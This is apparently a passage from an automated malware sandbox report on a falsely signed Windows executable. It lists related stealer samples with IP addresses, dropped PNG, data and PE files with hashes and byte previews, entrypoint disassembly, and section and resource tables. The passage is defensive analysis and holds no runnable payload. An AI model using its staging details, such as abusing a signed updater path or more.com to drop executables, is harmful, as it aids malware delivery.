y3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	104.17.25.14
	(No subject) (92).eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	RobCheat.exe	Get hash	malicious	Python Stealer, CStealer	Browse	172.67.75.40

Process:	C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe
File Type:	PNG image data, 2336 x 1336, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1490149
Entropy (8bit):	7.993654685735998
Encrypted:	true
SSDEEP:	24576:/rn/8iouvLod8ehALdbU5iHTP/xyIjuWoS7i+7ntpYPAtzX7N4ToLQa3pY8U8/:/r/8ML+8QAZbT/IEdomiuPYYiS7D/
MD5:	9293AFEB225399232240F1E3F3255218
SHA1:	E7722613BA9E360D08D55161872908C797E52073
SHA-256:	ADF9640C1D99B3EDECA66D9F8359CF37815C8C2770078527B4570BCE5EBA4CBC
SHA-512:	6C0BA94AFEC426FCEFEDB6741F623E19CFD8F23B63B7FDB2A12B94AB6BE7534D56ED273EFE0FBBA7E9DB87E61F88C923F947493156DC532B57B28936DDF863C7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ...8.....:.\|w.. .IDATx..;.$....+.U.=.^K#........}..w.E.&..%A..6.#.....ec.k..P.s...+........GDVeuuwuw\|.N?.3+.z0...=.w.~............py..~.....1..Z....n......8..A.4...#u].K.4MC.%....p..g....a..h...!...?.97w'/XJ..@CUU.R.#UU..K).R..RJ.{Y..K.u......]J..^..y.!.....R...,........b.I%.@7.&wW.1.]..\p\....2..u.......?..........y.Y `..d....;.nH..\|k..3..@..l.........?".@vZW..!...v.e.Uww.C..n...?..#....(.Y.3b.O+M.s.[.~C.....oo.5...\.a....c.0f...\.2..7..,.1....R.3p....\|.`.c.f..w........5P..y..~i........K)..A..+\|..$3.......CE..uw)8..P./...J..i.j.....s&...a....~%.........F_.c...V..D.4F.}........>..A...B..o..w..D.....l.X..Rp.5h2..H> 3w..1..t..w.&.\|9J.Y..w.......n..\|...b....B8bT.}'........p..._....6n..-.../....c.B......../..?........,.w....KyY....,_k.....v.S.{..../.d.Ob.RI\..,..,_)<%....1.,_J.9.v.....3...ZW.....p/........../...{q.1......>q.........\|2.l1.....I...\|).&W...K!...w.}....o.....@Q..A.$..K5.!..T......E..R.....>Hh.......7.~!...

C:\Users\user\AppData\Local\Temp\9d758fdb

Download File

Process:	C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe
File Type:	data
Category:	dropped
Size (bytes):	1275486
Entropy (8bit):	7.651198167214753
Encrypted:	false
SSDEEP:	24576:AfJB7Oca2gC/dSipEBZGR31m/UTORv5O1+klFPa0R/ISE8VWcftYQc6vCWAoZmWs:E7Br1SVBZ4lmsmYNni+ISEuBFh8gdsE8
MD5:	73680C60EBB8AF0D53D554A508F347FE
SHA1:	6977123C1F1EC26864BED46988D7ECC1292F0E7E
SHA-256:	749FBDD4C1633AB7BEA684BAE3356842B25ED8B233A7E8B25642058A8353DCF0
SHA-512:	C1A4E6412FA2C04CB172AF9DEE2F7DD93F8714B3E0CB2C20712F7F1BEB71F8EE2293BDFCBE81EB3BBEA24236958963855DD23C98059FD3B6ED61AB5C9F3DC3D6
Malicious:	false
Preview:	f..f..e..e..d..A..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..@..!..@.........2.....6...............6......e..e..e..e..e..e..e..e..e..e..e..&......... ...e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..&......,.....e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..@..!...9......... ........e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e......K...W...e..e..e..e..e..e..e..e..e..e..

C:\Users\user\AppData\Local\Temp\bca94d0c

Download File

Process:	C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe
File Type:	PNG image data, 2336 x 1336, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1490149
Entropy (8bit):	7.993654685735998
Encrypted:	true
SSDEEP:	24576:/rn/8iouvLod8ehALdbU5iHTP/xyIjuWoS7i+7ntpYPAtzX7N4ToLQa3pY8U8/:/r/8ML+8QAZbT/IEdomiuPYYiS7D/
MD5:	9293AFEB225399232240F1E3F3255218
SHA1:	E7722613BA9E360D08D55161872908C797E52073
SHA-256:	ADF9640C1D99B3EDECA66D9F8359CF37815C8C2770078527B4570BCE5EBA4CBC
SHA-512:	6C0BA94AFEC426FCEFEDB6741F623E19CFD8F23B63B7FDB2A12B94AB6BE7534D56ED273EFE0FBBA7E9DB87E61F88C923F947493156DC532B57B28936DDF863C7
Malicious:	false
Preview:	.PNG........IHDR... ...8.....:.\|w.. .IDATx..;.$....+.U.=.^K#........}..w.E.&..%A..6.#.....ec.k..P.s...+........GDVeuuwuw\|.N?.3+.z0...=.w.~............py..~.....1..Z....n......8..A.4...#u].K.4MC.%....p..g....a..h...!...?.97w'/XJ..@CUU.R.#UU..K).R..RJ.{Y..K.u......]J..^..y.!.....R...,........b.I%.@7.&wW.1.]..\p\....2..u.......?..........y.Y `..d....;.nH..\|k..3..@..l.........?".@vZW..!...v.e.Uww.C..n...?..#....(.Y.3b.O+M.s.[.~C.....oo.5...\.a....c.0f...\.2..7..,.1....R.3p....\|.`.c.f..w........5P..y..~i........K)..A..+\|..$3.......CE..uw)8..P./...J..i.j.....s&...a....~%.........F_.c...V..D.4F.}........>..A...B..o..w..D.....l.X..Rp.5h2..H> 3w..1..t..w.&.\|9J.Y..w.......n..\|...b....B8bT.}'........p..._....6n..-.../....c.B......../..?........,.w....KyY....,_k.....v.S.{..../.d.Ob.RI\..,..,_)<%....1.,_J.9.v.....3...ZW.....p/........../...{q.1......>q.........\|2.l1.....I...\|).&W...K!...w.}....o.....@Q..A.$..K5.!..T......E..R.....>Hh.......7.~!...

C:\Users\user\AppData\Local\Temp\be3cb5d2

Download File

Process:	C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe
File Type:	PNG image data, 2336 x 1336, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1490149
Entropy (8bit):	7.993654685735998
Encrypted:	true
SSDEEP:	24576:/rn/8iouvLod8ehALdbU5iHTP/xyIjuWoS7i+7ntpYPAtzX7N4ToLQa3pY8U8/:/r/8ML+8QAZbT/IEdomiuPYYiS7D/
MD5:	9293AFEB225399232240F1E3F3255218
SHA1:	E7722613BA9E360D08D55161872908C797E52073
SHA-256:	ADF9640C1D99B3EDECA66D9F8359CF37815C8C2770078527B4570BCE5EBA4CBC
SHA-512:	6C0BA94AFEC426FCEFEDB6741F623E19CFD8F23B63B7FDB2A12B94AB6BE7534D56ED273EFE0FBBA7E9DB87E61F88C923F947493156DC532B57B28936DDF863C7
Malicious:	false
Preview:	.PNG........IHDR... ...8.....:.\|w.. .IDATx..;.$....+.U.=.^K#........}..w.E.&..%A..6.#.....ec.k..P.s...+........GDVeuuwuw\|.N?.3+.z0...=.w.~............py..~.....1..Z....n......8..A.4...#u].K.4MC.%....p..g....a..h...!...?.97w'/XJ..@CUU.R.#UU..K).R..RJ.{Y..K.u......]J..^..y.!.....R...,........b.I%.@7.&wW.1.]..\p\....2..u.......?..........y.Y `..d....;.nH..\|k..3..@..l.........?".@vZW..!...v.e.Uww.C..n...?..#....(.Y.3b.O+M.s.[.~C.....oo.5...\.a....c.0f...\.2..7..,.1....R.3p....\|.`.c.f..w........5P..y..~i........K)..A..+\|..$3.......CE..uw)8..P./...J..i.j.....s&...a....~%.........F_.c...V..D.4F.}........>..A...B..o..w..D.....l.X..Rp.5h2..H> 3w..1..t..w.&.\|9J.Y..w.......n..\|...b....B8bT.}'........p..._....6n..-.../....c.B......../..?........,.w....KyY....,_k.....v.S.{..../.d.Ob.RI\..,..,_)<%....1.,_J.9.v.....3...ZW.....p/........../...{q.1......>q.........\|2.l1.....I...\|).&W...K!...w.}....o.....@Q..A.$..K5.!..T......E..R.....>Hh.......7.~!...

C:\Users\user\AppData\Local\Temp\bf266e95

Download File

Process:	C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe
File Type:	data
Category:	dropped
Size (bytes):	1275486
Entropy (8bit):	7.6512612464596295
Encrypted:	false
SSDEEP:	24576:hfJB7Oca2gC/dSipEBZGR31m/UTORv5O1+klFPa0R/ISE8VWcftYQc6vCWAoZmWs:Z7Br1SVBZ4lmsmYNni+ISEuBFh8gdsE8
MD5:	81B48765128043CAF286FDA096616A63
SHA1:	7A7D80908F6A17A8BFA2A08F372EDD83460D9F3D
SHA-256:	C380E7BAA26116D71ACFF5FDF1EC6783AC8A8C93EB5179370EAB08000625621B
SHA-512:	640C5FAA7709719248E0E4935BB531C36A290B83574553262943A46965A949E22EAF3EB3415DE7630591D49D3AE766034A2D03D05750E1E901132B63B08370C3
Malicious:	false
Preview:	f..f..e..e..d..A..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..@..!..@.........2.....6...............6......e..e..e..e..e..e..e..e..e..e..e..&......... ...e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..&......,.....e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..@..!...9......... ........e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e..e......K...W...e..e..e..e..e..e..e..e..e..e..

C:\Users\user\AppData\Local\Temp\cnfpnteryde

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541184
Entropy (8bit):	6.530879228641325
Encrypted:	false
SSDEEP:	12288:8/zT9HFapB2rA6MNzFhCjzYjGq88DUq18p8sg:bpBbBhCPD8DHSE
MD5:	A3EBAF3CD91B6B57CE7949FC51398080
SHA1:	2F149696DD3F00423062CDF28B6821052D5C1D38
SHA-256:	759B9B860FAED4ECCD18EB34457584D0C799601C3613A8178C2404C5ADE18319
SHA-512:	8CD7742BB99DE1C8F09A1CFE2AD63D12C9D2B28A41E4DA86E62A5B4B6A2187BE2230CD5A03CF4FBB23FA6EDB8517238B4C035BB84B2DC15769F17C79D4608BAC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D...........)...../.r.........)...../.................+......+.?....#.............(....Rich...........PE..L......X..........................................@.......................................@..................................5...................................E..t...8...............................@...............@............................text............................... ..`.rdata...I.......J..................@..@.data....m...P...,...>..............@....rsrc................j..............@..@.reloc...E.......F...l..............@..Bdld.......... ......................@...................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vkqcbyjdfiw

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541184
Entropy (8bit):	6.530879228641325
Encrypted:	false
SSDEEP:	12288:8/zT9HFapB2rA6MNzFhCjzYjGq88DUq18p8sg:bpBbBhCPD8DHSE
MD5:	A3EBAF3CD91B6B57CE7949FC51398080
SHA1:	2F149696DD3F00423062CDF28B6821052D5C1D38
SHA-256:	759B9B860FAED4ECCD18EB34457584D0C799601C3613A8178C2404C5ADE18319
SHA-512:	8CD7742BB99DE1C8F09A1CFE2AD63D12C9D2B28A41E4DA86E62A5B4B6A2187BE2230CD5A03CF4FBB23FA6EDB8517238B4C035BB84B2DC15769F17C79D4608BAC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D...........)...../.r.........)...../.................+......+.?....#.............(....Rich...........PE..L......X..........................................@.......................................@..................................5...................................E..t...8...............................@...............@............................text............................... ..`.rdata...I.......J..................@..@.data....m...P...,...>..............@....rsrc................j..............@..@.reloc...E.......F...l..............@..Bdld.......... ......................@...................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.332090535652735
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	5Z1WFRMTOXRH6X21Z8NU8.exe
File size:	11'391'336 bytes
MD5:	ff827141856089465cec7afdc9e65f9d
SHA1:	e985a1d59d90a6522b4077b00bc68c86fc3d72d8
SHA256:	389d5818cb26a1cc113481b66332d164dc76d2c85d8735c074a9bc2409b8c9c0
SHA512:	b3624f61c2d0e07d93d96db2632576262a211ec158334703f9f1b003853cfb5c5eefea33cab9c2a813e1dc7099e542062d3c1a44a7a9f1828919880823aa9cac
SSDEEP:	196608:64gA641E83DUpCdO3url7Dtm5fal48DueJO475d:rgdBUfdO3cRDtj/aOd
TLSH:	7DB6D012F688A0BBC057193698378795593777B06E268D973BB40E8C4F36780BA3E747
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	3636276e1c317306

Static PE Info

General

Entrypoint:	0x9d5930
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6684095A [Tue Jul 2 14:06:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	dc590f1f896fa986fbb15c6fda7fd22f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft ID Verified CS EOC CA 01, O=Microsoft Corporation, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	01/07/2024 16:37:15 04/07/2024 16:37:15
Subject Chain	CN=BURNAWARE SL, O=BURNAWARE SL, L=MARBELLA, S=M\xe1laga, C=ES
Version:	3
Thumbprint MD5:	F53247DEBF3F4A6D95461954E622CA1F
Thumbprint SHA-1:	D5B2FCC7421A032C296119FDA6EAF5A7FC39B7FD
Thumbprint SHA-256:	CD072073D0E45F03C58F8CCE10D56FF6D8C7D93DAFF86CA3709AAF784F7C1E2F
Serial:	330000822E80A10BDCFC2F33C000000000822E

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 009C67A0h
call 00007F8C647C1B95h
xor eax, eax
push ebp
push 009D599Ah
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
mov eax, dword ptr [009FB70Ch]
mov eax, dword ptr [eax]
call 00007F8C649BEA43h
mov eax, dword ptr [009FB70Ch]
mov eax, dword ptr [eax]
mov dl, 01h
call 00007F8C649C06B5h
mov ecx, dword ptr [009FB7B4h]
mov eax, dword ptr [009FB70Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [009BA9F0h]
call 00007F8C649BEA35h
mov eax, dword ptr [009FB70Ch]
mov eax, dword ptr [eax]
call 00007F8C649BEB85h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
push 009D59A1h
ret
jmp 00007F8C647BA5DEh
jmp 00007F8C64D8674Ah
call 00007F8C647BAD2Bh
mov eax, eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x7c0000	0x9b	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7bb000	0x3ee2	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82c000	0x470c88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xad9400	0x3d68	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c3000	0x68d8a
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x7c2000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7bbb20	0x9a4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x7bf000	0xe06	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5d09c8	0x5d0a00	5b92377a7a8661f70a13742a14fd2326	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x5d2000	0x39a8	0x3a00	618a1eb0400f32a57ff05405c91a0755	False	0.4857893318965517	data	6.148050334224838	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x5d6000	0x25afc	0x25c00	66154e56c9542b521f5e08689154755f	False	0.38093051531456956	data	5.838264883060502	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x5fc000	0x1be2f4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x7bb000	0x3ee2	0x4000	99f49c0741ca6201b15d7729d418e107	False	0.32635498046875	data	5.23934204186308	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x7bf000	0xe06	0x1000	31315dbf55dbba6e8d1e768bf9ac3b9c	False	0.31787109375	data	4.074208107173615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x7c0000	0x9b	0x200	1a82cdbd2da8404d0d427b18adcfe87f	False	0.2578125	data	1.8184376157820663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x7c1000	0x54	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x7c2000	0x5d	0x200	a5f40a305a312eb3fade2f0c1c6fc10d	False	0.189453125	data	1.3716899805431133	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c3000	0x68d58	0x68e00	1c1b2fa52739d9f264a96f4acc9b929d	False	0.6061601422824792	data	6.761515718855164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x82c000	0x470c88	0x470e00	7edb304dfcef9421729da13cfc317864	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
CLXO	0x830558	0x16bce5	PNG image data, 2336 x 1336, 8-bit/color RGB, non-interlaced	English	United States	0.99542236328125
COLOR	0x99c240	0x4	data			3.0
COLOR	0x99c244	0x4	data			3.0
COLOR	0x99c248	0x4	data			3.0
RT_CURSOR	0x99c24c	0x134	data	English	United States	0.43506493506493504
RT_CURSOR	0x99c380	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x99c4b4	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x99c5e8	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x99c71c	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x99c850	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x99c984	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_CURSOR	0x99cab8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_BITMAP	0x99cbec	0x528	Device independent bitmap graphic, 20 x 16 x 32, image size 1280			0.048484848484848485
RT_BITMAP	0x99d114	0x468	Device independent bitmap graphic, 17 x 16 x 32, image size 1088			0.07446808510638298
RT_BITMAP	0x99d57c	0x5a8	Device independent bitmap graphic, 16 x 22 x 32, image size 1408			0.0738950276243094
RT_BITMAP	0x99db24	0x600	Device independent bitmap graphic, 17 x 22 x 32, image size 1496			0.043619791666666664
RT_BITMAP	0x99e124	0x4e8	Device independent bitmap graphic, 19 x 16 x 32, image size 1216			0.05015923566878981
RT_BITMAP	0x99e60c	0x5a8	Device independent bitmap graphic, 16 x 22 x 32, image size 1408			0.06284530386740332
RT_BITMAP	0x99ebb4	0x5a8	Device independent bitmap graphic, 16 x 22 x 32, image size 1408			0.08287292817679558
RT_BITMAP	0x99f15c	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.33270676691729323
RT_BITMAP	0x99f584	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.23966165413533835
RT_BITMAP	0x99f9ac	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5208333333333334
RT_BITMAP	0x99fa6c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42857142857142855
RT_BITMAP	0x99fb4c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.4955357142857143
RT_BITMAP	0x99fc2c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.38392857142857145
RT_BITMAP	0x99fd0c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4947916666666667
RT_BITMAP	0x99fdcc	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.484375
RT_BITMAP	0x99fe8c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42410714285714285
RT_BITMAP	0x99ff6c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5104166666666666
RT_BITMAP	0x9a002c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.5
RT_BITMAP	0x9a010c	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_BITMAP	0x9a01f4	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4895833333333333
RT_BITMAP	0x9a02b4	0x468	Device independent bitmap graphic, 8 x 8 x 8, image size 64			0.424645390070922
RT_BITMAP	0x9a071c	0x468	Device independent bitmap graphic, 8 x 8 x 8, image size 64			0.4228723404255319
RT_BITMAP	0x9a0b84	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.3794642857142857
RT_ICON	0x9a0c64	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.16290277243542325
RT_ICON	0x9e2c8c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.42738589211618255
RT_ICON	0x9e5234	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5124296435272045
RT_ICON	0x9e62dc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.475177304964539
RT_DIALOG	0x9e6744	0x52	data			0.7682926829268293
RT_DIALOG	0x9e6798	0x52	data			0.7560975609756098
RT_STRING	0x9e67ec	0x1bc	data			0.5202702702702703
RT_STRING	0x9e69a8	0x368	data			0.4025229357798165
RT_STRING	0x9e6d10	0x438	data			0.37777777777777777
RT_STRING	0x9e7148	0x9b8	data			0.27773311897106107
RT_STRING	0x9e7b00	0x964	data			0.27579034941763725
RT_STRING	0x9e8464	0x4d4	data			0.36650485436893204
RT_STRING	0x9e8938	0x390	AmigaOS bitmap font "s", fc_YSize 30208, 9472 elements, 2nd "l", 3rd "r"			0.3333333333333333
RT_STRING	0x9e8cc8	0x230	data			0.5160714285714286
RT_STRING	0x9e8ef8	0x408	data			0.40794573643410853
RT_STRING	0x9e9300	0x18c	data			0.5808080808080808
RT_STRING	0x9e948c	0xcc	data			0.6666666666666666
RT_STRING	0x9e9558	0x114	data			0.6086956521739131
RT_STRING	0x9e966c	0x294	data			0.4712121212121212
RT_STRING	0x9e9900	0x3ac	data			0.39787234042553193
RT_STRING	0x9e9cac	0x3c4	data			0.3724066390041494
RT_STRING	0x9ea070	0x490	data			0.3279109589041096
RT_STRING	0x9ea500	0x308	data			0.3337628865979381
RT_STRING	0x9ea808	0x3a8	data			0.4337606837606838
RT_STRING	0x9eabb0	0x638	data			0.332286432160804
RT_STRING	0x9eb1e8	0x424	data			0.33773584905660375
RT_STRING	0x9eb60c	0x344	data			0.430622009569378
RT_STRING	0x9eb950	0x328	data			0.375
RT_STRING	0x9ebc78	0x43c	data			0.39206642066420666
RT_STRING	0x9ec0b4	0x1ac	data			0.4672897196261682
RT_STRING	0x9ec260	0xcc	data			0.6274509803921569
RT_STRING	0x9ec32c	0x198	data			0.5612745098039216
RT_STRING	0x9ec4c4	0x3ac	data			0.3659574468085106
RT_STRING	0x9ec870	0x360	data			0.38425925925925924
RT_STRING	0x9ecbd0	0x2dc	data			0.38114754098360654
RT_STRING	0x9eceac	0x334	data			0.3280487804878049
RT_RCDATA	0x9ed1e0	0xd5d	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0032154340836013
RT_RCDATA	0x9edf40	0xd57	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.003221083455344
RT_RCDATA	0x9eec98	0xcfc	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.003309265944645
RT_RCDATA	0x9ef994	0xcd9	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0033444816053512
RT_RCDATA	0x9f0670	0xd5d	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0032154340836013
RT_RCDATA	0x9f13d0	0xd57	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.003221083455344
RT_RCDATA	0x9f2128	0xc4e	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0034920634920634
RT_RCDATA	0x9f2d78	0xc4e	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced	English	United States	1.0034920634920634
